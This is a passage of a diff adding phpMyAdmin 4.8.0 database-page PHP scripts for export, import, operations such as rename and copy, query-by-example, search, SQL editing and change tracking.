+    $multi_values .= '<td class="export_data">' 


 
+        . '<input type="checkbox" name="table_data[]"' 


 
+        . ' value="' . $table_html . '"' . $data_checked . ' /></td>'; 


 
+    $multi_values .= '</tr>'; 


 
+} // end for 


 
+ 


 
+$multi_values .= "\n"; 


 
+$multi_values .= '</tbody></table></div>'; 


 
+ 


 
+if (! isset($sql_query)) { 


 
+    $sql_query = ''; 


 
+} 


 
+if (! isset($num_tables)) { 


 
+    $num_tables = 0; 


 
+} 


 
+if (! isset($unlim_num_rows)) { 


 
+    $unlim_num_rows = 0; 


 
+} 


 
+if (! isset($multi_values)) { 


 
+    $multi_values = ''; 


 
+} 


 
+$response = Response::getInstance(); 


 
+$displayExport = new DisplayExport(); 


 
+$response->addHTML( 


 
+    $displayExport->getDisplay( 


 
+        'database', $db, $table, $sql_query, $num_tables, 


 
+        $unlim_num_rows, $multi_values 


 
+    ) 


 
+); 
 
44 phpMyAdmin-4.8.0-all-languages/db_import.php 


@@ -0,0 +1,44 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Database import page 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+use PhpMyAdmin\Config\PageSettings; 


 
+use PhpMyAdmin\Display\Import; 


 
+use PhpMyAdmin\Response; 


 
+ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+PageSettings::showGroup('Import'); 


 
+ 


 
+$response = Response::getInstance(); 


 
+$header   = $response->getHeader(); 


 
+$scripts  = $header->getScripts(); 


 
+$scripts->addFile('import.js'); 


 
+ 


 
+/** 


 
+ * Gets tables information and displays top links 


 
+ */ 


 
+require 'libraries/db_common.inc.php'; 


 
+ 


 
+list( 


 
+    $tables, 


 
+    $num_tables, 


 
+    $total_num_tables, 


 
+    $sub_part, 


 
+    $is_show_stats, 


 
+    $db_is_system_schema, 


 
+    $tooltip_truename, 


 
+    $tooltip_aliasname, 


 
+    $pos 


 
+) = PhpMyAdmin\Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+ 


 
+$response = Response::getInstance(); 


 
+$response->addHTML( 


 
+    Import::get( 


 
+        'database', $db, $table, $max_upload_size 


 
+    ) 


 
+); 
 
30 phpMyAdmin-4.8.0-all-languages/db_multi_table_query.php 


@@ -0,0 +1,30 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Handles database multi-table querying 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Database\MultiTableQuery; 


 
+use PhpMyAdmin\Response; 


 
+ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+if (isset($_POST['sql_query'])) { 


 
+    MultiTableQuery::displayResults( 


 
+        $_POST['sql_query'], 


 
+        $_REQUEST['db'], 


 
+        $pmaThemeImage 


 
+    ); 


 
+} else { 


 
+    $response = Response::getInstance(); 


 
+ 


 
+    $header = $response->getHeader(); 


 
+    $scripts = $header->getScripts(); 


 
+    $scripts->addFile('vendor/jquery/jquery.md5.js'); 


 
+    $scripts->addFile('db_multi_table_query.js'); 


 
+ 


 
+    $queryInstance = new MultiTableQuery($GLOBALS['dbi'], $db); 


 
+ 


 
+    $response->addHTML($queryInstance->getFormHtml()); 


 
+} 
 
308 phpMyAdmin-4.8.0-all-languages/db_operations.php 


@@ -0,0 +1,308 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * handles miscellaneous db operations: 


 
+ *  - move/rename 


 
+ *  - copy 


 
+ *  - changing collation 


 
+ *  - changing comment 


 
+ *  - adding tables 


 
+ *  - viewing PDF schemas 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\DatabaseInterface; 


 
+use PhpMyAdmin\Display\CreateTable; 


 
+use PhpMyAdmin\Message; 


 
+use PhpMyAdmin\Operations; 


 
+use PhpMyAdmin\Plugins; 


 
+use PhpMyAdmin\Plugins\Export\ExportSql; 


 
+use PhpMyAdmin\Relation; 


 
+use PhpMyAdmin\RelationCleanup; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Util; 


 
+ 


 
+/** 


 
+ * requirements 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+/** 


 
+ * functions implementation for this script 


 
+ */ 


 
+require_once 'libraries/check_user_privileges.inc.php'; 


 
+ 


 
+// add a javascript file for jQuery functions to handle Ajax actions 


 
+$response = Response::getInstance(); 


 
+$header = $response->getHeader(); 


 
+$scripts = $header->getScripts(); 


 
+$scripts->addFile('db_operations.js'); 


 
+ 


 
+$sql_query = ''; 


 
+ 


 
+$operations = new Operations(); 


 
+ 


 
+/** 


 
+ * Rename/move or copy database 


 
+ */ 


 
+if (strlen($GLOBALS['db']) > 0 


 
+    && (! empty($_REQUEST['db_rename']) || ! empty($_REQUEST['db_copy'])) 


 
+) { 


 
+    if (! empty($_REQUEST['db_rename'])) { 


 
+        $move = true; 


 
+    } else { 


 
+        $move = false; 


 
+    } 


 
+ 


 
+    if (! isset($_REQUEST['newname']) || strlen($_REQUEST['newname']) === 0) { 


 
+        $message = Message::error(__('The database name is empty!')); 


 
+    } else { 


 
+        // lower_case_table_names=1 `DB` becomes `db` 


 
+        if ($GLOBALS['dbi']->getLowerCaseNames() === '1') { 


 
+            $_REQUEST['newname'] = mb_strtolower( 


 
+                $_REQUEST['newname'] 


 
+            ); 


 
+        } 


 
+ 


 
+        if ($_REQUEST['newname'] === $_REQUEST['db']) { 


 
+            $message = Message::error( 


 
+                __('Cannot copy database to the same name. Change the name and try again.') 


 
+            ); 


 
+        } else { 


 
+            $_error = false; 


 
+            if ($move || ! empty($_REQUEST['create_database_before_copying'])) { 


 
+                $operations->createDbBeforeCopy(); 


 
+            } 


 
+ 


 
+            // here I don't use DELIMITER because it's not part of the 


 
+            // language; I have to send each statement one by one 


 
+ 


 
+            // to avoid selecting alternatively the current and new db 


 
+            // we would need to modify the CREATE definitions to qualify 


 
+            // the db name 


 
+            $operations->runProcedureAndFunctionDefinitions($GLOBALS['db']); 


 
+ 


 
+            // go back to current db, just in case 


 
+            $GLOBALS['dbi']->selectDb($GLOBALS['db']); 


 
+ 


 
+            $tables_full = $GLOBALS['dbi']->getTablesFull($GLOBALS['db']); 


 
+ 


 
+            // remove all foreign key constraints, otherwise we can get errors 


 
+            /* @var $export_sql_plugin ExportSql */ 


 
+            $export_sql_plugin = Plugins::getPlugin( 


 
+                "export", 


 
+                "sql", 


 
+                'libraries/classes/Plugins/Export/', 


 
+                array( 


 
+                    'single_table' => isset($single_table), 


 
+                    'export_type'  => 'database' 


 
+                ) 


 
+            ); 


 
+ 


 
+            // create stand-in tables for views 


 
+            $views = $operations->getViewsAndCreateSqlViewStandIn( 


 
+                $tables_full, $export_sql_plugin, $GLOBALS['db'] 


 
+            ); 


 
+ 


 
+            // copy tables 


 
+            $sqlConstratints = $operations->copyTables( 


 
+                $tables_full, $move, $GLOBALS['db'] 


 
+            ); 


 
+ 


 
+            // handle the views 


 
+            if (! $_error) { 


 
+                $operations->handleTheViews($views, $move, $GLOBALS['db']); 


 
+            } 


 
+            unset($views); 


 
+ 


 
+            // now that all tables exist, create all the accumulated constraints 


 
+            if (! $_error && count($sqlConstratints) > 0) { 


 
+                $operations->createAllAccumulatedConstraints($sqlConstratints); 


 
+            } 


 
+            unset($sqlConstratints); 


 
+ 


 
+            if ($GLOBALS['dbi']->getVersion() >= 50100) { 


 
+                // here DELIMITER is not used because it's not part of the 


 
+                // language; each statement is sent one by one 


 
+ 


 
+                $operations->runEventDefinitionsForDb($GLOBALS['db']); 


 
+            } 


 
+ 


 
+            // go back to current db, just in case 


 
+            $GLOBALS['dbi']->selectDb($GLOBALS['db']); 


 
+ 


 
+            // Duplicate the bookmarks for this db (done once for each db) 


 
+            $operations->duplicateBookmarks($_error, $GLOBALS['db']); 


 
+ 


 
+            if (! $_error && $move) { 


 
+                if (isset($_REQUEST['adjust_privileges']) 


 
+                    && ! empty($_REQUEST['adjust_privileges']) 


 
+                ) { 


 
+                    $operations->adjustPrivilegesMoveDb($GLOBALS['db'], $_REQUEST['newname']); 


 
+                } 


 
+ 


 
+                /** 


 
+                 * cleanup pmadb stuff for this db 


 
+                 */ 


 
+                RelationCleanup::database($GLOBALS['db']); 


 
+ 


 
+                // if someday the RENAME DATABASE reappears, do not DROP 


 
+                $local_query = 'DROP DATABASE ' 


 
+                    . Util::backquote($GLOBALS['db']) . ';'; 


 
+                $sql_query .= "\n" . $local_query; 


 
+                $GLOBALS['dbi']->query($local_query); 


 
+ 


 
+                $message = Message::success( 


 
+                    __('Database %1$s has been renamed to %2$s.') 


 
+                ); 


 
+                $message->addParam($GLOBALS['db']); 


 
+                $message->addParam($_REQUEST['newname']); 


 
+            } elseif (! $_error) { 


 
+                if (isset($_REQUEST['adjust_privileges']) 


 
+                    && ! empty($_REQUEST['adjust_privileges']) 


 
+                ) { 


 
+                    $operations->adjustPrivilegesCopyDb($GLOBALS['db'], $_REQUEST['newname']); 


 
+                } 


 
+ 


 
+                $message = Message::success( 


 
+                    __('Database %1$s has been copied to %2$s.') 


 
+                ); 


 
+                $message->addParam($GLOBALS['db']); 


 
+                $message->addParam($_REQUEST['newname']); 


 
+            } else { 


 
+                $message = Message::error(); 


 
+            } 


 
+            $reload     = true; 


 
+ 


 
+            /* Change database to be used */ 


 
+            if (! $_error && $move) { 


 
+                $GLOBALS['db'] = $_REQUEST['newname']; 


 
+            } elseif (! $_error) { 


 
+                if (isset($_REQUEST['switch_to_new']) 


 
+                    && $_REQUEST['switch_to_new'] == 'true' 


 
+                ) { 


 
+                    $_SESSION['pma_switch_to_new'] = true; 


 
+                    $GLOBALS['db'] = $_REQUEST['newname']; 


 
+                } else { 


 
+                    $_SESSION['pma_switch_to_new'] = false; 


 
+                } 


 
+            } 


 
+        } 


 
+    } 


 
+ 


 
+    /** 


 
+     * Database has been successfully renamed/moved.  If in an Ajax request, 


 
+     * generate the output with {@link PhpMyAdmin\Response} and exit 


 
+     */ 


 
+    if ($response->isAjax()) { 


 
+        $response->setRequestStatus($message->isSuccess()); 


 
+        $response->addJSON('message', $message); 


 
+        $response->addJSON('newname', $_REQUEST['newname']); 


 
+        $response->addJSON( 


 
+            'sql_query', 


 
+            Util::getMessage(null, $sql_query) 


 
+        ); 


 
+        $response->addJSON('db', $GLOBALS['db']); 


 
+        exit; 


 
+    } 


 
+} 


 
+ 


 
+/** 


 
+ * Settings for relations stuff 


 
+ */ 


 
+$relation = new Relation(); 


 
+ 


 
+$cfgRelation = $relation->getRelationsParam(); 


 
+ 


 
+/** 


 
+ * Check if comments were updated 


 
+ * (must be done before displaying the menu tabs) 


 
+ */ 


 
+if (isset($_REQUEST['comment'])) { 


 
+    $relation->setDbComment($GLOBALS['db'], $_REQUEST['comment']); 


 
+} 


 
+ 


 
+require 'libraries/db_common.inc.php'; 


 
+$url_query .= '&amp;goto=db_operations.php'; 


 
+ 


 
+// Gets the database structure 


 
+$sub_part = '_structure'; 


 
+ 


 
+list( 


 
+    $tables, 


 
+    $num_tables, 


 
+    $total_num_tables, 


 
+    $sub_part, 


 
+    $is_show_stats, 


 
+    $db_is_system_schema, 


 
+    $tooltip_truename, 


 
+    $tooltip_aliasname, 


 
+    $pos 


 
+) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+ 


 
+echo "\n"; 


 
+ 


 
+if (isset($message)) { 


 
+    echo Util::getMessage($message, $sql_query); 


 
+    unset($message); 


 
+} 


 
+ 


 
+$_REQUEST['db_collation'] = $GLOBALS['dbi']->getDbCollation($GLOBALS['db']); 


 
+$is_information_schema = $GLOBALS['dbi']->isSystemSchema($GLOBALS['db']); 


 
+ 


 
+if (!$is_information_schema) { 


 
+    if ($cfgRelation['commwork']) { 


 
+        /** 


 
+         * database comment 


 
+         */ 


 
+        $response->addHTML($operations->getHtmlForDatabaseComment($GLOBALS['db'])); 


 
+    } 


 
+ 


 
+    $response->addHTML('<div>'); 


 
+    $response->addHTML(CreateTable::getHtml($db)); 


 
+    $response->addHTML('</div>'); 


 
+ 


 
+    /** 


 
+     * rename database 


 
+     */ 


 
+    if ($GLOBALS['db'] != 'mysql') { 


 
+        $response->addHTML($operations->getHtmlForRenameDatabase($GLOBALS['db'])); 


 
+    } 


 
+ 


 
+    // Drop link if allowed 


 
+    // Don't even try to drop information_schema. 


 
+    // You won't be able to. Believe me. You won't. 


 
+    // Don't allow to easily drop mysql database, RFE #1327514. 


 
+    if (($GLOBALS['dbi']->isSuperuser() || $GLOBALS['cfg']['AllowUserDropDatabase']) 


 
+        && ! $db_is_system_schema 


 
+        && $GLOBALS['db'] != 'mysql' 


 
+    ) { 


 
+        $response->addHTML($operations->getHtmlForDropDatabaseLink($GLOBALS['db'])); 


 
+    } 


 
+    /** 


 
+     * Copy database 


 
+     */ 


 
+    $response->addHTML($operations->getHtmlForCopyDatabase($GLOBALS['db'])); 


 
+ 


 
+    /** 


 
+     * Change database charset 


 
+     */ 


 
+    $response->addHTML($operations->getHtmlForChangeDatabaseCharset($GLOBALS['db'], $table)); 


 
+ 


 
+    if (! $cfgRelation['allworks'] 


 
+        && $cfg['PmaNoRelation_DisableWarning'] == false 


 
+    ) { 


 
+        $message = Message::notice( 


 
+            __( 


 
+                'The phpMyAdmin configuration storage has been deactivated. ' . 


 
+                '%sFind out why%s.' 


 
+            ) 


 
+        ); 


 
+        $message->addParamHtml('<a href="./chk_rel.php' . $url_query . '">'); 


 
+        $message->addParamHtml('</a>'); 


 
+        /* Show error if user has configured something, notice elsewhere */ 


 
+        if (!empty($cfg['Servers'][$server]['pmadb'])) { 


 
+            $message->isError(true); 


 
+        } 


 
+    } // end if 


 
+} // end if (!$is_information_schema) 
 
160 phpMyAdmin-4.8.0-all-languages/db_qbe.php 


@@ -0,0 +1,160 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * query by example the whole database 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Database\Qbe; 


 
+use PhpMyAdmin\Message; 


 
+use PhpMyAdmin\Relation; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\SavedSearches; 


 
+use PhpMyAdmin\Sql; 


 
+use PhpMyAdmin\Url; 


 
+use PhpMyAdmin\Util; 


 
+ 


 
+/** 


 
+ * requirements 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+$response = Response::getInstance(); 


 
+ 


 
+// Gets the relation settings 


 
+$relation = new Relation(); 


 
+$cfgRelation = $relation->getRelationsParam(); 


 
+ 


 
+$savedSearchList = array(); 


 
+$savedSearch = null; 


 
+$currentSearchId = null; 


 
+if ($cfgRelation['savedsearcheswork']) { 


 
+    $header = $response->getHeader(); 


 
+    $scripts = $header->getScripts(); 


 
+    $scripts->addFile('db_qbe.js'); 


 
+ 


 
+    //Get saved search list. 


 
+    $savedSearch = new SavedSearches($GLOBALS); 


 
+    $savedSearch->setUsername($GLOBALS['cfg']['Server']['user']) 


 
+        ->setDbname($_REQUEST['db']); 


 
+ 


 
+    if (!empty($_REQUEST['searchId'])) { 


 
+        $savedSearch->setId($_REQUEST['searchId']); 


 
+    } 


 
+ 


 
+    //Action field is sent. 


 
+    if (isset($_REQUEST['action'])) { 


 
+        $savedSearch->setSearchName($_REQUEST['searchName']); 


 
+        if ('create' === $_REQUEST['action']) { 


 
+            $saveResult = $savedSearch->setId(null) 


 
+                ->setCriterias($_REQUEST) 


 
+                ->save(); 


 
+        } elseif ('update' === $_REQUEST['action']) { 


 
+            $saveResult = $savedSearch->setCriterias($_REQUEST) 


 
+                ->save(); 


 
+        } elseif ('delete' === $_REQUEST['action']) { 


 
+            $deleteResult = $savedSearch->delete(); 


 
+            //After deletion, reset search. 


 
+            $savedSearch = new SavedSearches($GLOBALS); 


 
+            $savedSearch->setUsername($GLOBALS['cfg']['Server']['user']) 


 
+                ->setDbname($_REQUEST['db']); 


 
+            $_REQUEST = array(); 


 
+        } elseif ('load' === $_REQUEST['action']) { 


 
+            if (empty($_REQUEST['searchId'])) { 


 
+                //when not loading a search, reset the object. 


 
+                $savedSearch = new SavedSearches($GLOBALS); 


 
+                $savedSearch->setUsername($GLOBALS['cfg']['Server']['user']) 


 
+                    ->setDbname($_REQUEST['db']); 


 
+                $_REQUEST = array(); 


 
+            } else { 


 
+                $loadResult = $savedSearch->load(); 


 
+            } 


 
+        } 


 
+        //Else, it's an "update query" 


 
+    } 


 
+ 


 
+    $savedSearchList = $savedSearch->getList(); 


 
+    $currentSearchId = $savedSearch->getId(); 


 
+} 


 
+ 


 
+/** 


 
+ * A query has been submitted -> (maybe) execute it 


 
+ */ 


 
+$message_to_display = false; 


 
+if (isset($_REQUEST['submit_sql']) && ! empty($sql_query)) { 


 
+    if (! preg_match('@^SELECT@i', $sql_query)) { 


 
+        $message_to_display = true; 


 
+    } else { 


 
+        $goto = 'db_sql.php'; 


 
+        $sql = new Sql(); 


 
+        $sql->executeQueryAndSendQueryResponse( 


 
+            null, // analyzed_sql_results 


 
+            false, // is_gotofile 


 
+            $_REQUEST['db'], // db 


 
+            null, // table 


 
+            false, // find_real_end 


 
+            null, // sql_query_for_bookmark 


 
+            null, // extra_data 


 
+            null, // message_to_show 


 
+            null, // message 


 
+            null, // sql_data 


 
+            $goto, // goto 


 
+            $pmaThemeImage, // pmaThemeImage 


 
+            null, // disp_query 


 
+            null, // disp_message 


 
+            null, // query_type 


 
+            $sql_query, // sql_query 


 
+            null, // selectedTables 


 
+            null // complete_query 


 
+        ); 


 
+    } 


 
+} 


 
+ 


 
+$sub_part  = '_qbe'; 


 
+require 'libraries/db_common.inc.php'; 


 
+$url_query .= '&amp;goto=db_qbe.php'; 


 
+$url_params['goto'] = 'db_qbe.php'; 


 
+ 


 
+list( 


 
+    $tables, 


 
+    $num_tables, 


 
+    $total_num_tables, 


 
+    $sub_part, 


 
+    $is_show_stats, 


 
+    $db_is_system_schema, 


 
+    $tooltip_truename, 


 
+    $tooltip_aliasname, 


 
+    $pos 


 
+) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+ 


 
+if ($message_to_display) { 


 
+    Message::error( 


 
+        __('You have to choose at least one column to display!') 


 
+    ) 


 
+        ->display(); 


 
+} 


 
+unset($message_to_display); 


 
+ 


 
+// create new qbe search instance 


 
+$db_qbe = new Qbe($GLOBALS['db'], $savedSearchList, $savedSearch); 


 
+ 


 
+$url = 'db_designer.php' . Url::getCommon( 


 
+    array_merge( 


 
+        $url_params, 


 
+        array('query' => 1) 


 
+    ) 


 
+); 


 
+$response->addHTML( 


 
+    Message::notice( 


 
+        sprintf( 


 
+            __('Switch to %svisual builder%s'), 


 
+            '<a href="' . $url . '">', 


 
+            '</a>' 


 
+        ) 


 
+    ) 


 
+); 


 
+ 


 
+/** 


 
+ * Displays the Query by example form 


 
+ */ 


 
+$response->addHTML($db_qbe->getSelectionForm()); 
 
23 phpMyAdmin-4.8.0-all-languages/db_routines.php 


@@ -0,0 +1,23 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Routines management. 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+/** 


 
+ * Include required files 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+/** 


 
+ * Include all other files 


 
+ */ 


 
+require_once 'libraries/check_user_privileges.inc.php'; 


 
+ 


 
+/** 


 
+ * Do the magic 


 
+ */ 


 
+$_PMA_RTE = 'RTN'; 


 
+require_once 'libraries/rte/rte_main.inc.php'; 
 
73 phpMyAdmin-4.8.0-all-languages/db_search.php 


@@ -0,0 +1,73 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * searches the entire database 


 
+ * 


 
+ * @todo    make use of UNION when searching multiple tables 


 
+ * @todo    display executed query, optional? 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+use PhpMyAdmin\Database\Search; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Util; 


 
+ 


 
+/** 


 
+* Gets some core libraries 


 
+*/ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+$response = Response::getInstance(); 


 
+$header   = $response->getHeader(); 


 
+$scripts  = $header->getScripts(); 


 
+$scripts->addFile('db_search.js'); 


 
+$scripts->addFile('sql.js'); 


 
+$scripts->addFile('makegrid.js'); 


 
+ 


 
+require 'libraries/db_common.inc.php'; 


 
+ 


 
+// If config variable $GLOBALS['cfg']['UseDbSearch'] is on false : exit. 


 
+if (! $GLOBALS['cfg']['UseDbSearch']) { 


 
+    Util::mysqlDie( 


 
+        __('Access denied!'), '', false, $err_url 


 
+    ); 


 
+} // end if 


 
+$url_query .= '&amp;goto=db_search.php'; 


 
+$url_params['goto'] = 'db_search.php'; 


 
+ 


 
+// Create a database search instance 


 
+$db_search = new Search($GLOBALS['db']); 


 
+ 


 
+// Display top links if we are not in an Ajax request 


 
+if (! $response->isAjax()) { 


 
+    list( 


 
+        $tables, 


 
+        $num_tables, 


 
+        $total_num_tables, 


 
+        $sub_part, 


 
+        $is_show_stats, 


 
+        $db_is_system_schema, 


 
+        $tooltip_truename, 


 
+        $tooltip_aliasname, 


 
+        $pos 


 
+    ) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+} 


 
+ 


 
+// Main search form has been submitted, get results 


 
+if (isset($_REQUEST['submit_search'])) { 


 
+    $response->addHTML($db_search->getSearchResults()); 


 
+} 


 
+ 


 
+// If we are in an Ajax request, we need to exit after displaying all the HTML 


 
+if ($response->isAjax() && empty($_REQUEST['ajax_page_request'])) { 


 
+    exit; 


 
+} 


 
+ 


 
+// Display the search form 


 
+$response->addHTML($db_search->getSelectionForm()); 


 
+$response->addHTML('<div id="searchresults"></div>'); 


 
+$response->addHTML( 


 
+    '<div id="togglesearchresultsdiv"><a id="togglesearchresultlink"></a></div>' 


 
+); 


 
+$response->addHTML('<br class="clearfloat" />'); 


 
+$response->addHTML($db_search->getResultDivs()); 
 
46 phpMyAdmin-4.8.0-all-languages/db_sql.php 


@@ -0,0 +1,46 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Database SQL executor 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Config\PageSettings; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\SqlQueryForm; 


 
+ 


 
+/** 


 
+ * 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+PageSettings::showGroup('Sql'); 


 
+ 


 
+/** 


 
+ * Runs common work 


 
+ */ 


 
+$response = Response::getInstance(); 


 
+$header   = $response->getHeader(); 


 
+$scripts  = $header->getScripts(); 


 
+$scripts->addFile('makegrid.js'); 


 
+$scripts->addFile('vendor/jquery/jquery.uitablefilter.js'); 


 
+$scripts->addFile('sql.js'); 


 
+ 


 
+require 'libraries/db_common.inc.php'; 


 
+ 


 
+// After a syntax error, we return to this script 


 
+// with the typed query in the textarea. 


 
+$goto = 'db_sql.php'; 


 
+$back = 'db_sql.php'; 


 
+ 


 
+/** 


 
+ * Query box, bookmark, insert data from textfile 


 
+ */ 


 
+$response->addHTML( 


 
+    SqlQueryForm::getHtml( 


 
+        true, false, 


 
+        isset($_REQUEST['delimiter']) 


 
+        ? htmlspecialchars($_REQUEST['delimiter']) 


 
+        : ';' 


 
+    ) 


 
+); 
 
27 phpMyAdmin-4.8.0-all-languages/db_sql_autocomplete.php 


@@ -0,0 +1,27 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Table/Column autocomplete in SQL editors 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+use PhpMyAdmin\Response; 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+if ($GLOBALS['cfg']['EnableAutocompleteForTablesAndColumns']) { 


 
+    $db = isset($_POST['db']) ? $_POST['db'] : $GLOBALS['db']; 


 
+    $sql_autocomplete = array(); 


 
+    if ($db) { 


 
+        $tableNames = $GLOBALS['dbi']->getTables($db); 


 
+        foreach ($tableNames as $tableName) { 


 
+            $sql_autocomplete[$tableName] = $GLOBALS['dbi']->getColumns( 


 
+                $db, $tableName 


 
+            ); 


 
+        } 


 
+    } 


 
+} else { 


 
+    $sql_autocomplete = true; 


 
+} 


 
+$response = Response::getInstance(); 


 
+$response->addJSON("tables", json_encode($sql_autocomplete)); 
 
21 phpMyAdmin-4.8.0-all-languages/db_sql_format.php 


@@ -0,0 +1,21 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Format SQL for SQL editors 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Response; 


 
+ 


 
+/** 


 
+ * Loading common files. Used to check for authorization, localization and to 


 
+ * load the parsing library. 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+$query = !empty($_POST['sql']) ? $_POST['sql'] : ''; 


 
+ 


 
+$query = PhpMyAdmin\SqlParser\Utils\Formatter::format($query); 


 
+ 


 
+$response = Response::getInstance(); 


 
+$response->addJSON("sql", $query); 
 
38 phpMyAdmin-4.8.0-all-languages/db_structure.php 


@@ -0,0 +1,38 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Database structure manipulation 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+use PhpMyAdmin\Controllers\Database\DatabaseStructureController; 


 
+use PhpMyAdmin\Di\Container; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Util; 


 
+ 


 
+require_once 'libraries/common.inc.php'; 


 
+require_once 'libraries/db_common.inc.php'; 


 
+ 


 
+$container = Container::getDefaultContainer(); 


 
+$container->factory( 


 
+    'PhpMyAdmin\Controllers\Database\DatabaseStructureController' 


 
+); 


 
+$container->alias( 


 
+    'DatabaseStructureController', 


 
+    'PhpMyAdmin\Controllers\Database\DatabaseStructureController' 


 
+); 


 
+$container->set('PhpMyAdmin\Response', Response::getInstance()); 


 
+$container->alias('response', 'PhpMyAdmin\Response'); 


 
+ 


 
+/* Define dependencies for the concerned controller */ 


 
+$dependency_definitions = array( 


 
+    'db' => $db, 


 
+); 


 
+ 


 
+/** @var DatabaseStructureController $controller */ 


 
+$controller = $container->get( 


 
+    'DatabaseStructureController', 


 
+    $dependency_definitions 


 
+); 


 
+$controller->indexAction(); 
 
154 phpMyAdmin-4.8.0-all-languages/db_tracking.php 


@@ -0,0 +1,154 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Tracking configuration for database 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Display\CreateTable; 


 
+use PhpMyAdmin\Message; 


 
+use PhpMyAdmin\Relation; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Tracker; 


 
+use PhpMyAdmin\Tracking; 


 
+use PhpMyAdmin\Util; 


 
+ 


 
+/** 


 
+ * Run common work 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+//Get some js files needed for Ajax requests 


 
+$response = Response::getInstance(); 


 
+$header   = $response->getHeader(); 


 
+$scripts  = $header->getScripts(); 


 
+$scripts->addFile('vendor/jquery/jquery.tablesorter.js'); 


 
+$scripts->addFile('db_tracking.js'); 


 
+ 


 
+/** 


 
+ * If we are not in an Ajax request, then do the common work and show the links etc. 


 
+ */ 


 
+require 'libraries/db_common.inc.php'; 


 
+$url_query .= '&amp;goto=tbl_tracking.php&amp;back=db_tracking.php'; 


 
+ 


 
+// Get the database structure 


 
+$sub_part = '_structure'; 


 
+ 


 
+list( 


 
+    $tables, 


 
+    $num_tables, 


 
+    $total_num_tables, 


 
+    $sub_part, 


 
+    $is_show_stats, 


 
+    $db_is_system_schema, 


 
+    $tooltip_truename, 


 
+    $tooltip_aliasname, 


 
+    $pos 


 
+) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+ 


 
+// Work to do? 


 
+//  (here, do not use $_REQUEST['db] as it can be crafted) 


 
+if (isset($_REQUEST['delete_tracking']) && isset($_REQUEST['table'])) { 


 
+ 


 
+    Tracker::deleteTracking($GLOBALS['db'], $_REQUEST['table']); 


 
+    Message::success( 


 
+        __('Tracking data deleted successfully.') 


 
+    )->display(); 


 
+ 


 
+} elseif (isset($_REQUEST['submit_create_version'])) { 


 
+ 


 
+    Tracking::createTrackingForMultipleTables($_REQUEST['selected']); 


 
+    Message::success( 


 
+        sprintf( 


 
+            __( 


 
+                'Version %1$s was created for selected tables,' 


 
+                . ' tracking is active for them.' 


 
+            ), 


 
+            htmlspecialchars($_REQUEST['version']) 


 
+        ) 


 
+    )->display(); 


 
+ 


 
+} elseif (isset($_REQUEST['submit_mult'])) { 


 
+ 


 
+    if (! empty($_REQUEST['selected_tbl'])) { 


 
+        if ($_REQUEST['submit_mult'] == 'delete_tracking') { 


 
+ 


 
+            foreach ($_REQUEST['selected_tbl'] as $table) { 


 
+                Tracker::deleteTracking($GLOBALS['db'], $table); 


 
+            } 


 
+            Message::success( 


 
+                __('Tracking data deleted successfully.') 


 
+            )->display(); 


 
+ 


 
+        } elseif ($_REQUEST['submit_mult'] == 'track') { 


 
+ 


 
+            echo Tracking::getHtmlForDataDefinitionAndManipulationStatements( 


 
